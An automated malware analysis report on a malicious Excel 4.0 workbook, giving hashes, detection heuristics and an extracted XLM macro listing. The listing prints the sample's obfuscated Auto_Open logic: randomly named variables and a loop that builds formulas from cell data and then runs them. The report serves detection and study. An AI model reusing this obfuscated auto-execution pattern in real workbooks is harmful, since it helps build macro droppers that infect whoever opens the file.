Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92268bd09de8997d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:32 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 003cd9b8494363c5f2a84ddb58b87496 SHA-1: aa7196b6de41dc4bdcce0bae8dce68edbb88743e SHA-256: 92268bd09de8997dc9204dc1fb81a6814a6c857b3732bc4d586de6a8d1ab759a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6592 bytes
SHA-256: 667b963d3b4068a098ce31a4e4240e2102e6a0263558cfe6e1cd8fb8ac9481a2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nBohgNZ
' 0018     24 LABEL : Cell Value, String Constant - ArkNPwGZT len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H146 
' 0018     20 LABEL : Cell Value, String Constant - bgLPT len=0 
' 0018     22 LABEL : Cell Value, String Constant - GCyqLsp len=0 
' 0018     20 LABEL : Cell Value, String Constant - iavhg len=0 
' 0018     27 LABEL : Cell Value, String Constant - IQkvzWOqlTRv len=0 
' 0018     26 LABEL : Cell Value, String Constant - JHwbcjscjUs len=0 
' 0018     26 LABEL : Cell Value, String Constant - kffotQYJfNp len=0 
' 0018     27 LABEL : Cell Value, String Constant - ksWdfcvZpguC len=0 
' 0018     24 LABEL : Cell Value, String Constant - lExqtXUKz len=0 
' 0018     22 LABEL : Cell Value, String Constant - lzBONee len=0 
' 0018     20 LABEL : Cell Value, String Constant - MgvFZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - MZDzLIKFqXg len=0 
' 0018     21 LABEL : Cell Value, String Constant - mZggeA len=0 
' 0018     25 LABEL : Cell Value, String Constant - okBritmyBQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - oKnnMvSpwb len=0 
' 0018     24 LABEL : Cell Value, String Constant - qbOZasRoB len=0 
' 0018     23 LABEL : Cell Value, String Constant - ssbyyjND len=0 
' 0018     27 LABEL : Cell Value, String Constant - UmrANbIpUBhv len=0 
' 0018     26 LABEL : Cell Value, String Constant - VlDOoqScrMt len=0 
' 0018     21 LABEL : Cell Value, String Constant - ysqytJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nBohgNZ,H52,"SET.NAME("MZDzLIKFqXg",VALUE("0"))",""
'  nBohgNZ,H57,"SET.NAME("UmrANbIpUBhv",MZDzLIKFqXg)",""
'  nBohgNZ,H62,"SET.NAME("ysqytJ",MZDzLIKFqXg)",""
'  nBohgNZ,H67,"SET.NAME("okBritmyBQ",COUNTA(GCyqLsp))",""
'  nBohgNZ,H69,"SET.NAME("JHwbcjscjUs",COUNTA(VlDOoqScrMt))",""
'  nBohgNZ,H71,[],""
'  nBohgNZ,H73,"SET.NAME("bgLPT","")",""
'  nBohgNZ,H77,"UmrANbIpUBhv",""
'  nBohgNZ,H79,"SET.NAME("mZggeA",HLOOKUP("*",GCyqLsp,UmrANbIpUBhv,FALSE))",""
'  nBohgNZ,H84,"lzBONee",""
'  nBohgNZ,H89,"SET.NAME("qbOZasRoB",MZDzLIKFqXg)",""
'  nBohgNZ,H92,[],""
'  nBohgNZ,H96,"qbOZasRoB",""
'  nBohgNZ,H100,"oKnnMvSpwb",""
'  nBohgNZ,H104,"ArkNPwGZT",""
'  nBohgNZ,H109,"IQkvzWOqlTRv",""
'  nBohgNZ,H111,"SET.NAME("MgvFZ",VALUE(HLOOKUP("*",VlDOoqScrMt,IQkvzWOqlTRv,FALSE)))",""
'  nBohgNZ,H113,"iavhg",""
'  nBohgNZ,H118,"bgLPT",""
'  nBohgNZ,H123,"ysqytJ",""
'  nBohgNZ,H127,NEXT(),""
'  nBohgNZ,H130,"ksWdfcvZpguC",""
'  nBohgNZ,H133,"SET.NAME("f",INT(T(FORMULA(T(bgLPT)&"",""&T(ksWdfcvZpguC)))))",""
'  nBohgNZ,H136,"lExqtXUKz",""
'  nBohgNZ,H140,NEXT(),""
'  nBohgNZ,H144,RETURN(),""
'  nBohgNZ,H176,"SET.NAME("kffotQYJfNp",H52)",""
'  nBohgNZ,H179,"GCyqLsp",""
'  nBohgNZ,H184,"SET.NAME("VlDOoqScrMt",R73C13)",""
'  nBohgNZ,H188,"SET.NAME("lExqtXUKz",194)",""
'  nBohgNZ,H190,"SET.NAME("ssbyyjND",8)",""
'  nBohgNZ,H193,kffotQYJfNp(),""
'  nBohgNZ,H194,HALT(),""

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